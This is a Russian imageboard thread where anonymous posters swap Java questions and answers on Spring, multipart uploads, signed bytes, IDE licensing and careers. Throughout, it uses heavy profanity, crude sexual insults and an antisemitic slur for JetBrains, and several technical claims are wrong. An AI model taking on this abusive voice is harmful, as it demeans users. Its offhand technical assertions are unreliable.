Надо 0 строчек, чтобы всё через конфиг. Чтобы приложуху надо было не программировать, а конфигурировать.
sage 546 2245486
>>245479
Тогда тебе стоило выбрать Salesforce/sap
547 2245498
>>245473
Легче пробежаться дебагом по кишке вызовов, потом расскажешь
sage 548 2245520
>>245479
Напиши свой бут стартер и выложи на гитхаб.
549 2245529
>>245520
Замечательно, что код для своего стартера не надо писать самому, достаточно скопипастить.
https://spring.io/guides/gs/uploading-files/
sage 550 2245536
>>245473
Скорее всего, там сначала ссылочное равенство, а уже потом equals. Попробуй сделать то же самое, только для 2-х объектов
Screenshot from 2021-12-23 00-16-10.png127 Кб, 850x1001
551 2245551
>>245473
>>245536
Ребята, вы чего, не можете заглянуть в исходники? Там же всё написано 631 и 644 строка. В функции добавления в бакет в виде дерева по идее то же самое

>if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k))))

552 2245652
>>245551

> не можете заглянуть в исходники?


Ну ты выдал конечно. Предложи спринг конфигураторам еще и код самим писать.
553 2245664
>>245652
Код-то мы можем читать и дебажить, а вот писать не хотим. Этим должен заниматься волшебный фреймворк, иначе зачем он вообще нужен?

Спринг-конфигуратор
554 2246150
>>242349
Че за мурзилки?
555 2246158
Что тут не так?
public static String longest (String s1, String s2) {
return s2.concat(s1)
.chars()
.mapToObj(i -> (char) i)
.distinct()
.sorted()
.toString();
}
556 2246173
В общем, думаю, что определился с Джавой.
Плюсы:
- обилие качественной литературы
- реальная кроссплатформенность
- язык довольно стабильный, поэтому можно учить даже по старым книгам

Минусы:
- тип byte - знаковый (в каком больном мозгу возникла идея так сделать?)
- сложность настройки платформы как для разработчика, так и для конечного пользователя
- слабые десктопные библиотеки
- отсутствие хороших бесплатных IDE
- вакансии только на бэкенд

Как итог возвращаюсь обратно в сишарп и дотнет, поэтому что язык и платформа более перспективные, есть куча фреймворков из коробки, область применения покрывает всё прикладное программирование.
sage 557 2246190
>>246173

>- отсутствие хороших бесплатных IDE


Понятно, толстота.
sage 558 2246267
>>246173
В этот раз уже получше
559 2246291
>>246190
Все сидят на платной IDEA от JetBrains
560 2246424
>>246291
Зачем?
561 2246552
Задеплоил свой сайт на хероку и обнаружил что странички , на которых использовн таймлиф ,стали грузиться по 1.5 секунд. Прям заметна подгрузка. Таймлиф подгружает из бд поля. Вопрос в том это я такой говнокодер и хуйни написал , которая грузится тыщу лет. Или это хероку говно? Когда тестил на локалхосте такого не было.
562 2246584
>>246552
Бесплатный хероку засыпает, если к нему не обращаться. И просыпается даже дольше полутора секунд. А так не особо тормозной.
Плюс если ты там сделал хероку сервак, не европейский, а американский, который по умолчанию, то там задержка будет большая.
563 2246596
Парни, что по реактивному спрингу? Кто пользуется, расскажите в чем прикол?
564 2246600
>>246424
Считается, что это самая крутая IDE для Java
565 2246653
>>246600

Так и есть.
566 2246657
Эх, вот бы в вижуалстудию поддержку жабы.
567 2246658
>>246657
Для начала нужно вижлу портировать на линукс
568 2246704
>>246657

Нахуя? Чё не так с идеей?
569 2246706
>>246173

> - отсутствие хороших бесплатных IDE


Чем тебе не нравится IDE IntelliJ IDEA Community Edition?
570 2246733
Пилю приложение для определенного города, нужно хранить улицы с привязкой к району. Стоит ли делать отдельную таблицу под районы или можно их хранить как перечисление? Как часто вообще добавляют новые районы в городах?
571 2246742
>>246733
Как бы редко районы ни добавляли, эти данные нельзя хардкодить, они всегда должны тянуться из таблицы-справочника, а не быть частью модели данных, чтобы вообще никогда не надо было править код.
572 2246745
>>246706
Там все функции вырезаны по сравнению с платной версией. Это просто обрубок, подачка от JetBrains. Тип, ладно, берите, нищуки, всё равно спиратите, но мы вам вырежем все важные фичи. Я вот просто ощущаю как мне плюнули в рожу.
573 2246752
574 2246782
>>246745
Какие функции?
575 2246783
>>246600
Комьюнити версия для Java не хуже.
576 2246788
>>246745
Каких функций тебе не хватает? Какое то время стояла эта ультимейнт и кроме тормознутости из-за 100500 плагинов профитов не заметил.
577 2246798
Как правильно логировать время выполнения приватных методов?
578 2246951
>>246158
1. Название функции говно, она делает совсем не то.
2. Вместо toString() надо делать collect()
public static String distinct(String s1, String s2) {
return s2.concat(s1)
.chars()
.distinct()
.sorted()
.mapToObj(Character::toChars)
.map(String::new)
.collect(Collectors.joining());
}

Ну или немного оптимизировано
public static String distinct(String s1, String s2) {
return s2.concat(s1)
.chars()
.distinct()
.sorted()
.collect(
StringBuilder::new, (builder, i) -> builder.append((char) i), StringBuilder::append)
.toString();
}
579 2246959
>>246657

>Эх, вот бы в вижуалстудию поддержку жабы.


Поблевать захотелось? Ну так качай там есть поддержка джавы https://visualstudio.microsoft.com/ru/

>>246745

>Я вот просто ощущаю как мне плюнули в рожу.


А ты предпочитаешь чувствовать член Сатьи в жопе? Это дерьмо даже в бесплатной версии требует заводить аккаунт и принимать соглашение, что майки иногда будут тебе присовывать, обещают неглубоко, на пол шишечки.
580 2246967
>>246959

> Ну так качай там есть поддержка джавы


Ты ведь в курсе, что убогая электронная недопараша вскод имеет примерно такое же отношение к божественной вижуалстудии, какое джаваскрипт имеет к джаве?
581 2247037
>>246967
Я думал что в вижал параша, поддерживает жаву по сайту выглядит как будто поддерживает.

Ну и похуй, такое говно, да еще с анальным зондом, все равно не нужно.
582 2247077
>>247037
В code завезли поддержку stdin из IDE?
583 2247081
>>247077
Не ябу, у меня идея.

Зато помню что в вижал параше 2019 не поддерживалась интерполяция строк для питона.
584 2247157
Зачем в CompletableFuture нужны методы типа thenRunAsync, thenApplyAsync помимо версий без *Async? Чтобы можно было исполнять этот этап в другом потоке (через другой экзекьютор)?
585 2247168
>>247157

>Чтобы можно было исполнять этот этап в другом потоке (через другой экзекьютор)?


Поразительно. Как ты догадался?
586 2247198
>>247168
Ты чмо.
587 2247379
Как хранить в джава массив байт? Дело в том, что тип byte знаковый, а значит он не сможет хранить значения от 128 до 255.
588 2247383
>>247379
И что? В плюсах на самых распространённых реализациях тип char тоже знаковый, и никому это байтоёбить не мешает.
589 2247388
>>246782
>>246783
>>246788
Нет поддержки спринга, а значит нельзя выучиться на профессионального джава разработчика, не заплатив.

>>246959
В вижле доступны все фреймворки. В том числе и ASP.NET, который используется в реальной разработке. Регистрация бесплатная и получаешь полный доступ, а у жидбрейсов регистрация даёт только 30-дневную демоверсию.
590 2247414
>>247383
В плюсах есть полный набор знаковых и беззнаковых типов, а также полноценная битовая математика, а в джаве всё в усечённом варианте. Тем более в плюсах я могу что угодно писать в память, беря на себя ответственность за последующую интерпретацию, а в джаве получу райнтайм еррор на лицо.
591 2247451
>>247388
Тот согласен, спринг вайтишники должны расплачиваться за своё скудоумие.
592 2247600
>>247451
В чем логика? Писать и бесконечно отлаживать велосипеды которые будут всю дорогу ронять прод? Я не понимаю.
593 2247605
>>247388

>Нет поддержки спринга, а значит нельзя выучиться на профессионального джава разработчика, не заплатив.


В голос просто.

>В вижле доступны все фреймворки. В том числе и ASP.NET, который используется в реальной разработке.


Используй все что хочешь, просто поддержка на уровне IDE ограничена. Но если ты такой безрукий ставь Spring IDE и ебись с ней.

>Регистрация бесплатная и получаешь полный доступ, а у жидбрейсов регистрация даёт только 30-дневную демоверсию.


Наркоман что ли? У идеи комьюнити регистрация вообще не требуется, качай и ставь. А вот вижал параша комьюнити, без регистрации проработает 30 дней, а потом будь добр зарегистрироваться и отчитаться перед Сатьей хули ты там кодишь.
594 2247607
>>247600
Пиши так чтобы не ронять прод.
595 2247610
>>247607
Зачем? Я велосипеды в петпроектах для себя могу написать, а на работе я хочу чтобы все было просто и работало.
596 2247611
>>247610
На какой работе, ты же безработный вкатун думающий что иде это грааль.
597 2247614
>>247611
Хуя ты экстрасенс.
598 2247624
>>247614
Я джава господин.
599 2247626
>>247624
Каждый раз HTTP-сервер с нуля пишешь в виме?
600 2247654
Берут ли новичков Java на удалёнку?
601 2247659
>>247654
Редко. Сложно менторить, если чел застрял на чем-то то пройдет время прежде чем поймешь что у него проблема. Объяснять по слаку сложнее чем лично. Ну и вообще не понятно, сможет ли чел работать самостоятельно это же первая работа.
602 2247802
>>247379
Ну дак решают такую проблему в джаве? Есть синьоры-помидоры в чяти?
sage 603 2247808
>>247802
Проблемы нет.
604 2247810
>>247808
Тратить 2 байта вместо 1 байта для хранения значений от 0 до 255?
605 2247814
>>247810
Использовать 1 байт для хранения 8 бит вместо "значений от X до Y"?
formData.PNG153 Кб, 1764x883
606 2247815
Почему не пашет? Джексон не парсит сам объекты внутри формДаты?
Или подскажите как передать с фронта объект + файл одним запросом через аджакс.
608 2247820
>>247814
В какой тип его можно запихать? byte знаковый и если туда запишешь число больше 127, то получаешь рунтайм еррор!
609 2247821
Появилась мысль по приколу выучить форт или лисп после джавы. Сложно будет?
610 2247822
>>247820
В byte. Запихивать надо правильно.
611 2247826
>>247821
Легко, но бессмысленно.
612 2247836
>>247818
Так файл как раз без проблем принимается тем говнокодом. А вот объект не парсится, говорит, мол это строка.
Причем вот файл + строки норм парсятся, а так нихуя.
sage 613 2247842
>>247836
Потому что ты ожидаешь мультипарт получить, а не жсон. Делай двумя запросами
614 2247847
>>247822
Операция запихивания и выпихивания будут накладывать дополнительные расходы и код будет тормозить.
615 2247850
>>247836
В мультпарт можно несколько объектов засунуть.
616 2247851
>>247842
А джесйон внутри мультипарта никак нельзя? Или что-то вроде этого сделать.
Двумя запросами будет не очень. Там у картинки и объекта общая логика сохранения. Уж лучше попробовать просто перечислить все поля. Правда у меня потом внутри объекта-дто будут массивы, приходящие с фронта.
ubyte.jpg12 Кб, 282x182
617 2247863
>>247822
Так что ли?
618 2247865
>>247863
орунах
619 2247868
>>247865
Над калечное джавой без беззнаковых типов?
620 2247870
>>247863
Нет.
621 2247871
>>247870
А как тогда?
622 2247872
>>247868
над додиком которого в гугле забанили
sage 623 2247883
>>247851
Хз. Попробуй стрингу вместо дто принимать и в контроллере парсить
624 2247884
>>247872
Значит ты тоже не знаешь и ждёшь когда я решу.
sage 625 2247895
>>247884
Я жду, когда ты перестанешь толстить и вернёшься в свой шарпотред.
626 2247938
>>234350
Вебфлакс на Джаве такое себе, имхо его лучше с Котлином юзать, чтобы можно было писать нормальный императивный код без flatMapов.
627 2247951
>>247938
А он точно юзабелен? Много где читал, что r2dbc еще далек от стабильности. А без реляционных баз какой нахуй энтерпрайз?
628 2247985
>>247938
Проще сразу на ktor тогда, чем жабовские костыли в другой язык тащить.
629 2247995
>>247985
Ну какие нахуй костыли, ну какой из котлина особый уж ДРУГОЙ язык. В спринге в целом и особенно в реакторе/вебфлюксе давно уже есть специальные экстеншны под котлин, выглядит он как родной в вебфлюксе. Другое дело, что с альтернативами блокирующему jdbc пока все плохо, но тут и ktor не спасет.
630 2247998
>>247851

>А джесйон внутри мультипарта никак нельзя?


Можно
631 2248001
>>247995
Я с флюксом не знаком, но если он выглядит как rx, то это самые настоящие костыли в любом языке где появлялся этот рак. Тогда котлиновское structured concurrency реально лучше будет
632 2248003
>>248001
Смысл именно в том, что флюкс в связке с котлином позволяет выкинуть всю эту уродливую реактивщину из кода и работать на корутинах, так же как ktor
633 2248004
>>247884
Лично я да.
634 2248059
>>247998
Теперь сам вижу, что можно, все работает в консоли браузера. Но вот десериализовать у спринга и джексона не получается. Может маппер нужен?
635 2248065
Аноны, а есть ли где-нибудь в свободном доступе либа hypersistence-optimizer? https://vladmihalcea.com/hypersistence-optimizer/

Щас подключил к своему рабочему проекту и увидел 44 предупреждения, из которых 25 крит и 11 мажор, кек. А ебаный автор либы в триал версии скрывает описание предупреждений
The optimization event description is hidden in the Trial Version. If you want to know what performance-related problem has triggered this event, you need to purchase the product
636 2248164
>>248004
Я нашёл решение из интернета

>>247895
Это одна из фундаментальных проблем джавы, но ты можешь закрывать глаза на это из-за своей гордыни, чтобы не упасть в глазах шарписта.
637 2248220
>>248059
Смотри аннотацию RequestPart
638 2248264
>>248220
Пробовал, не помогло. И в mime-типы ещё туда-сюда выставлял над методом и на фронте.
Точно увидел что так можно, когда гуглил. Файл + объект. Только в тех примерах фронта не было. Наверно он по другому реализован.
639 2248306
Поясните за GWT. Вот у меня сайт на джава, я могу запустить его под GWT или как?
640 2248336
>>247379

>Как хранить в джава массив байт?


byte[] arr = new byte[10];

>Дело в том, что тип byte знаковый, а значит он не сможет хранить значения от 128 до 255



Ну раз тебе нужны величины от 0 до 255, то в чем проблема хранить их со смещением? Да, накладные расходы, но тут ничего не поделать. В джаву unsigned типы решили не добавлять, так как в С++ они хоть и есть, но также принесли с собой дополнительные проблемы.

А вообще, если тебе нужны какие-то нестандартные диапазоны, то бери int да и все. В джаве на оверхед по памяти всем похуй, энтерпрайз всегда купит дополнительные планки озу. А учитывая, что массивами пользоваться уместно далеко не всегда, то пользуются коллекциями из java.util, которые хранят ссылки на объекты, а не примитивы. А каждая ссылка весит по 16 байт. Вот и представь какой оверхед начинается, когда у тебя в коллекции уже пару миллионов элементов находится.
641 2248341
>>246733
Как отдельную таблицу. Скорее всего в твоем мухосранске уже никогда не будет новых районов, но все равно сделай отдельной таблицей.
642 2248356
>>248306
Лучше не надо.
643 2248369
>>248356
Чому так?
image.png287 Кб, 452x295
Кодировки меня доебали!!!!!! 644 2248440
Кодировки меня доебали!!!!!!
Я нуфаг, в java. Задача сформировать из текстового файла ссылку и отправить её в интернет.
В тестовом файле идет строка например " хуйня™ "
когда я формирую ссылку с использованием этой строки у меня получается "http//сайт.ком/хуйня¬トᄁ " по чему так я пока хз, конфликт кодировок, но я так и не понял что с чем конфликтует.
я вставляю костыль (строка.replaceAll("¬トᄁ","\u2122")).
Из под IDE (intellij idea) костыль прекрасно работает, и всё заебись, но когда я создаю jar и запускаю его из под винды символ ™ из ссылки исчезает и весь текст, что должен идти после него.
Как правильно фиксить эту хуйню!? И почему из под иде работает а в винде нет.
645 2248473
>>248440

>я вставляю костыль (строка.replaceAll("¬トᄁ","\u2122")).


орунах
646 2248476
>>248306
Суть GWT в том, чтобы писать фронтенд на джаве и UI-компонентах GWT, всё это при сборке проекта компилится в JS.. Работает только на серверах приложений, собирается только антом, почти не развивается.
648 2248503
>>248482
Респект, пойду курить!
649 2248508
С чего начать и что нужно знать, чтобы пойти на джуна java автоматизатора тестировщика? Достаточно ли java syntax и core?
Мануальщик опыт 2 года, хочу вкатиться в автотестирование
650 2248517
>>248508
А что такое автоматическое тестирование и зачем ему джава?
Ньюфаг-изучающий-спринг
651 2248521
>>248440
а что тебе мешает читать текстовый файл с указанием кодировки?
652 2248540
>>248517
Писать автотесты на java + selenium
653 2248552
>>248540
А че такое авто тесты?
654 2248554
>>248306
Лучше бери Vaadin, он вроде как развивается

А так все эти хуитки, gwt, vaadin, имхо должны уйти в прошлое. Нормальный ГУИ сейчас пишут на js, либо если что-то очень тяжелое на C++/Rust + WebASM. Остальное нахуй не нужно.
655 2248656
Написал давеча говнострим сервис (на страничке отображается список видосиков с диска и плеер, который может проигрывать всё это). Декодер c++ / обвязка jni, бэк и http/rest на жабе, фронт на жопаскрипте. Бойлерплейтов и thirdparty по-минимуму. Я уже фуллстек 300к/наносек?
И собсна, пишут ли такое на жабе или она слишком педальная?
656 2248676
>>248336

>А каждая ссылка весит по 16 байт


А чому так много? Укозатель в x64 - 8 байт, а ссылка x2 от него?
657 2248692
>>248656

>говнострим сервис


>пишут ли такое на жабе


Говорят, когда-то на жабе написали один, нетфликс называется
658 2248719
>>248656

>Я уже фуллстек 300к/наносек?


Декодер какой брал? Или писал свой?

>>248656

>пишут ли такое на жабе


Много чего в нетфликсе на жабе написано.

>>248656

>она слишком педальная


В большинстве случаев - да.
Конкретно работу с видео, стриминг, видеонаблюдение и всякое такое пишут на С++ (или на Rust в будущем). Джава больше про энтерпрайзные круды. Уровня автоматизации документооборота, складского учета, работы каких-нибудь поликлиник, гос. учереждений, банков и крупного ритейла, где математики по минимуму и очень много бюрократии.
659 2248727
>>248676
Скорее не сама ссылка, а сколько объект занимает в памяти. Если в С/С++ можно написать структуру или класс, которая занимает ровно 1 байт в памяти, то в жабе у тебя любой объект по минимуму занимает 16 байт (в большинстве современных реализаций). Потому что выравнивание + мета информация + любой объект можно использовать в качестве мьютекса. Идет оверхед на это.
sage 660 2248757
>>248656
На жабе из стриминг обычно middleware пишут. Т.е. круды пользователей стримов и тд.
661 2248954
Блядь, как меня вымораживает то, что все новые апи и фичи в джаве какие-то недоделанные. В CompletableFuture потоки не прерываются. Лямбды не сериализуются. В модулях версионирования нет. В хттп клиенте тоже какой-то хуйни не хватало. И так далее.
662 2248966
>>248719

>Декодер


Самописный у меня криво работает (под контейнер mp4 с h264 внутри), посему пока что использую OpenH264.

>видео, стриминг, видеонаблюдение и всякое такое пишут на С++


Там два стула - либо пишешь избыточный код, делающий банальные вещи, либо борешься с зоопарком из thirdparty библиотек (с их багами, кривым дизайном, системой сборки).

Поэтому качусь в сторону java/python/(go?), где не надо на этих стульях сидеть.
663 2249001
Почему
Object o = () -> {};
не компилируется, а
Object o = (Runnable)() -> {};
компилиуертся?

Гугл говорит, что лямбда выражение – это упрощенная запись анонимного класса, реализующего функциональный интерфейс. Получается, что "() -> {};" это объявление этого самого анонимного класса, а при приведении к Runnable происходит его инстанцирование и поэтому можно теперь присвоить Object'у?
664 2249002
>>249001

> Object o = () -> {};


Здесь не известен тип. Ты можешь описать сколько угодно функциональных интерфейсов, у которых один метод void без аргументов, и все будут подходить под () -> {}. По типу ссылки его тоже не вывести.

> Object o = (Runnable)() -> {};


Здесь тип известен.
665 2249047
>>248954

> В модулях версионирования нет


Которые jpms? Как ты это себе представляешь. Если бы это было возможно, подразумевалось бы что у тебя в проекте несколько версий одной либы.
666 2249079
>>249047

>Если бы это было возможно, подразумевалось бы что у тебя в проекте несколько версий одной либы.


И что тут невозможного?
667 2249199
>>249079
Какой юзкейс от версионирования модулей ты собираешься извлечь?
668 2249248
>>248065
Бамп вопросу
669 2249251
>>249199
Профит в виде лулзов в этом эпичном ИТТ треде!
670 2249411
>>249248
Придется тебе научиться шарить в хибернейте самому
671 2249417
>>249411
Придётся переделывать говнохибернейт на JdbcTemplate.
672 2249829
Есть какой-то готовый скрипт, который парсит аргументы для запуска комманды java из разных мест и объединяет их?
673 2249851
>>249829
Что значит из разных мест и объединяет? Если нужен парсер аргументов командной строки есть apachecli или picocli, если любишь обманываться аннотациями.
674 2249856
>>249851
Значит есть например скрипт запуска в докерфайле
java -jar -XX:+UseShenandoahGC -Xlog:gc ${JAVA_ARGS} $(cat java.args) penis-1.0.0-SNAPSHOT.jar
Пользователь может задать кастомные опции для джава процесса в переменной JAVA_ARGS и файле java.args. Как это все объединить в одну строчку, чтобы ничего не сломать и не дать пользователю переопределить какие-то дефолты?
675 2249865
>>249856
Ну тут хз, с докером не знаком. Могу предложить только запускать докером шел в котором будет твоя валидация этих аргументов, и который потом запустит твой жарник.
676 2249868
>>249865
Я и спрашиваю готовый скрипт для шелла.
677 2249964
>>249856
Нереально, только руками. Как ты вообще себя представляешь подобное автоматизировать? Если у тебя там переменные среды, файлы, подстановка результатов команд и чёрт знает что ещё. это в лучшем случае сведётся к нетривиальному парсингу баша, а то и других софтин, если у тебя там ещё какие-нибудь хитрые источники данных.
678 2249970
>>249964

>Если у тебя там переменные среды, файлы, подстановка результатов команд и чёрт знает что ещё


Это вообще не важно. Главное чтобы набор аргументов от всех источников (т.е. тупо массив строк) объединить так, чтобы джава это прожевала и переопределить при необходимости.
679 2249999
>>248220
Короче оказалось нужно было прописать каждому кусочку формдаты майм-тип на фронте, а потом аргумент метода контроллера прописывать через @RequestPart.
data.append('newStreamer', new Blob([JSON.stringify(streamer)],
{ type: 'application/json' }
))
data.append('picture', picture.files[0], picture.files[0].name)
С такой мелочью провозился целый день, и не сделал ничего, пиздец. Это меня так дизморальнуло, что два дня к этому проектику не прикасался и вообще ничего не делал по сути.
кот.JPG50 Кб, 1039x458
680 2250292
Смотрите, есть примерно вот такая сплошная строка:

"<p>sdfsdfsdf</p>" +
<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>" +
"<p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p>" +
"<p>sdfsdfsdf</p>" +
"<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>" +
"<p>sdfsdfsdf</p>" +
"<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>"


Есть алгоритм, который идёт по строке, и проставляет индексы начала и конца тега img. На выходе получается мапа со значениями: "2 - 35", "75 - 153", и т.д.

Теперь мне нужно "нарезать" эту строку на подстроки. Нужно по-очереди вырезать то, что находится между тегами img, ну и сам тег img.

Есть предположения?
681 2250299
>>250292

> />


HTML тебе не XML, там такой фичи нет. И у img нет закрывающего тега.
Ну и ты что-то странное делаешь, возьми нормальный парсер HTML
682 2250360
>>250299
Братишка, долго объяснять, просто поверь на слово: я не html парсю. И в моем случае, тег img всегда будет закрываться последовательностью символов "/>".
1519927532487.png67 Кб, 872x583
683 2250628
>>250292
Не вникал в алгоритм, но если у тебя есть индексы начала и конца, что мешает засунуть их в substring?
Вообще через регулярки это можно намного проще сделать.
1630539260944.png61 Кб, 889x574
684 2250718
>>250292
Вот еще можно тупо все теги по одному вырезать.
685 2250814
>>250628
>>250718
Братишка, здоровья тебе и счастья в новом году, и всего наилучшего! Просто я не люблю и не знаю регулярок, поэтому хотел решить алгоритмическим путём.
686 2250833
>>250814
Разберись. Крайне полезная штука, очень упрощает жизнь.
Мимо-другой-анон
687 2250857
>>250833
Да вот я уже вижу. Разберусь обязательно.
688 2250880
>>250857
Обязтельно разберись, анон! Еще много раз тебя в жизни выручит.
689 2250884
>>250880
Ахах
690 2250893
>>250880
Noo ne troll please
691 2251167
Сап.
Почему не срабатывает регэксп по поиску "два символа в начале строки" следующего вида:
str.matches("^\\\\");
?
regexp.png4 Кб, 393x30
692 2251170
>>251167
разметка ожидаемо пошла по пизде
693 2251171
>>251167
>>251170
Блять, два символа "астериск" (звездочка), имелось ввиду конечно же
694 2251183
Будет ли возрождение джава-аплетов на вебассембли?
695 2251194
>>251171
>>251170
>>251167
Вопрос снимается, я сам дебс, тестовые данные были кривые
сорян что насрал тут
696 2251195
>>251183
Вебассембли сам живым не выглядит, так что о возрождении говорить странно.
Если и будет, это вряд ли будут именно апплеты. Скорее отдельная технология со своим набором классов.
697 2251464
>>235785
Так-то есть net standart, если написал под стандврт, поддерживаемый и фреймфорком и кором, то работать будет и там и там.
698 2251791
Раздаю статику. И есть имя файла с кириллическими буквами(1). Ну он кодируется через url-encode(2). Но спринг почему то принимает строку урла с какимии-то 25 после каждого %(3). И у меня декодится в имя файла с кириллицей неверно(4).
Что за хрень и как решить?
699 2251794
>>251791
%25 = закодированный %
Очевидно у тебя урл два раза кодируется
doubleEncode.PNG56 Кб, 920x334
700 2251800
>>251794
Спасибо, анончик, так и есть.
Ну второй раз кодирует явно бекенд. Как сказать спрингу, чтобы не кодировал ничего?
701 2251809
>>251800
Хотя все нормально оказалось, он второй раз кодирует только когда в resourcePath в ResourceResolver выводит, а под капотом там все норм.
702 2251856
Аноны поясните в двух словах как работают видео-стриминговые сервисы? Клиент асинхронно джаваскриптом запрашивает чанки и получает в каком-то волшебном стандартном для браузера формате?
703 2251861
>>251856
1. Перейдите в браузере на стриминговый сервис
2. Откройте видео
3. Нажимте F12
4. В открывшемся окне перейдите на вкладку "Сеть"
5. Выберите любой из интересующих вас запросов на получение видео
6. Обратите внимание на заголовок Content-Type ответа.

>youtube - video/mp4
очень волшебный формат, нигде такого больше встречал
704 2251982
>>232299
Мобильная разработка на андроид - это java, kotlin
Бэк - это linux, devops - это linux. А с .NET полноценно работать под linux я не представляю возможным. Т.к. их "кроссплатформа" - это сказки о белом бычке работающие через костыли.
.NET нужен разве что в геймдеве, в банковском софте (хотя тут даже Java и Scala до сих пор лучшие) и если ты пишешь софт под форточки
705 2252285
Поясните за СБЕР. Там реально так хуево и строчка в резюме с упоминанием СБЕРа == окончанию карьеры?
Неужели нет реально сильных команд и берут одно говно туда? Я-то думал, что раз банк кое-как функционирует, значит и кто-то адекватный там должен быть.
706 2252344
>>252285
А если нигде не работал, то на 150к хотя бы можно рассчитывать?
707 2252356
>>252344
Нет ясен хуй. Попробуй еще стажером устроиться в это ссаный сбер на 50к, мозги будут ебать только так.
708 2252364
>>252356
Работать за 50к - себя не уважать. Меньше 100к даже не рассматриваю вакансии.
709 2252390
>>252285

>Я-то думал, что раз банк кое-как функционирует, значит и кто-то адекватный там должен быть.


Там сильно по разному, есть действительно знающие ребята - как правило они пишут критические сервисы - процессинг и все такое. А есть второстепенные сервисы по конвертации JSON в XML, вот туда набирают по остаточному принципу.
Опять же много подковерных игр, когда один начальник борется с другим, а без бонусов и повышений остаются обычные разрабы.
sage 710 2252409
>>252364
Удачи
711 2252413
>>252390
А как понять, команда состоит из шарящих ребят или из вчерашних заводчан и таксистов? На собесе так-то наебать могут, сказать, мол, не ссы у нас и хайлоад, и критические сервисы, и вообще никакого легаси, а в действительности будешь сидеть ковырять конвертацию XML в JSON и генерацию отчетов джаспером, и твоими коллегами будут выпускники гикбрейнса, отуса и джавараша, которые еще 7 лет назад считали труд айтишников говном и вообще всяческие попускали - травили в школе и универе, ссали в рюкзак, отбирали вещи и деньги, ну ты понял, типичное быдло если в кратце.
712 2252489
>>252413

>травили в школе и универе, ссали в рюкзак, отбирали вещи и деньги, ну ты понял, типичное быдло если в кратце.


Эти будут твоими менеджерами в любом большом бизнесе
713 2252505
>>252489
И где таких нет? Малый бизнес в России как правило не очень долго живет, и вообще особой культуры стартапов у нас не наблюдается. А среднего бизнеса в принципе почти не существует.
714 2252543
>>252413

>А как понять, команда состоит из шарящих ребят или из вчерашних заводчан и таксистов?


Смотри на проект и насколько важен он для бизнеса. Например можно спросить как у них работает поддержка прода - если есть дежурная смена которая работает 24х7, то проект критичный и к разработке подходят серьезно, а значит больше шансов на адекватную команду. Спроси про нагрузку - сколько запросов в секунду обслуживают, какие у них SLA, если не могут сказать четко - значит что-то второстепенное. Ну и в целом о чем проект, если что-то типа сервис для бизнес подразделения который помогает им рассчитывать бла-бла-бла и оценивать бла-бла-бла - то это и есть типичное перекладывание JSON в базу и обратно.

Только учти, что для крутых проектов ты тоже должен соответствовать.
715 2252548
>>252543

>Только учти, что для крутых проектов ты тоже должен соответствовать


А если я еще стажер-джун, то куда лучше идти работать, чтобы не попадать на помойные легаси проекты в будущем? В jvmjobs советовали jetbrains, яндекс, мейл и тинькофф, это топ места для джавистов? Или сейчас на джаве в основном пишут перекладывание джейсонов, а вся нормальная разработка ведется на C++/Go/Rust в местах, куда хуй попадешь?
716 2252568
>>252548

>А если я еще стажер-джун, то куда лучше идти работать, чтобы не попадать на помойные легаси проекты в будущем?


А у тебя большой выбор? Просто трезво оценивай свои силы, первые год-два надо просто набраться опыта для резюме. Позовут в Яндекс - иди конечно, но если откажут ищи другие варианты.

>В jvmjobs советовали jetbrains, яндекс, мейл и тинькофф, это топ места для джавистов?


Там тоже легаси говна хватает, но это именитые компании. Когда у тебя в резюме Яндекс то найти новую работу сильно проще. И в больших компаниях можно поискать новый проект внутри. Плюс там много сильных разработчиков у который можно поучиться и процесс разработки нормально выстроен.

>Или сейчас на джаве в основном пишут перекладывание джейсонов, а вся нормальная разработка ведется на C++/Go/Rust в местах, куда хуй попадешь?


Понятие интересного у каждого свое. К нам приходил человек из Сбера который занимался доработкой Apache Ignite для нужд сбера. Казалось бы хайлоад, никакого легаси, но чел жалуется что работа скучная и неинтересная правда занимался он в основном фиксаньем багов и мелкими фичами, на которые у GridGain руки не доходили. В общем никогда не угадаешь, да и со временем все приедается.
717 2252607
>>252568
В жидбрейнсе дают своим разрабам бесплатную ИДЕ или надо покупать?
718 2252623
А почему репозитории генерируются через прокси, а не через кодогенераторы?
sage 719 2252729
>>252607
Во всех нормальных компаниях дают иде
720 2252739
>>252607
У них собственная сборка эклипс.
721 2253108
722 2253112
>>252623
В довесок к спринговым либам придётся обмазываться хитрыми волшебными мавенплагинами с процессорами аннотаций.
723 2253122
>>232293 (OP)
Джава еще жива будет в следующем году?
724 2253123
>>253112
У спринга и так есть мавен плагин. В чем проблема-то?
725 2253127
>>253122
Нет, через семь с половиной часов умрет.
726 2253128
>>253123
У бута есть плагин. У спринга его нет. На проектах с антом плагина тоже нет.
727 2253129
>>253128
И че? Почему кодогенерацию-то не используют?
728 2253134
>>253127
Блин блинский! Придется учить go
729 2253142
730 2253152
>>253129
Используют.
731 2253155
>>253152
Пруф
732 2253208
>>253155
google: spring cglib proxy
733 2253217
>>253208

>spring cglib proxy


Ты че, совсем дегенерат блядь? Я спрашиваю, почему не используют кодогенерацию в компайл тайме, уебок.
734 2253223
>>253217

>Я спрашиваю, почему не используют кодогенерацию в компайл тайме, уебок.


Для начала должен заметить, что ты тупой, агрессивный мудак, который нихуя не знает, но выебывается за пятерых.

Во вторых ты, мудило пиздоглазое, спросило
>>252623

>А почему репозитории генерируются через прокси, а не через кодогенераторы?


тут нет ни слова про компайл тайм.

В третьих jOOQ использует компайл тайм генерацию.
735 2253234
>>253223

>А почему репозитории генерируются через прокси, а не через кодогенераторы?


>Генерируются и через кодогенераторы


>Пруф


>cglib proxy


Сука блядская.
736 2253238
>>253234
Кодогенератор-прокси.
sage 737 2253330
>>252623
Потому что. Жди нейтив в спринг 6 или попробуй кваркус
738 2253340
>>253330

> спринг 6


Мавен 4, джава 30 лтс, Оракл 25, котлин 2.0
sage 739 2253342
>>253340
Не понимаю, зачем ты выебываешься
https://github.com/spring-projects/spring-framework/releases/tag/v6.0.0-M1
740 2253444
А в чем плюсы и минусы кодогенерации по сравнению с проксями?
741 2253446
>>253444
1. Приложение быстрее запускается.
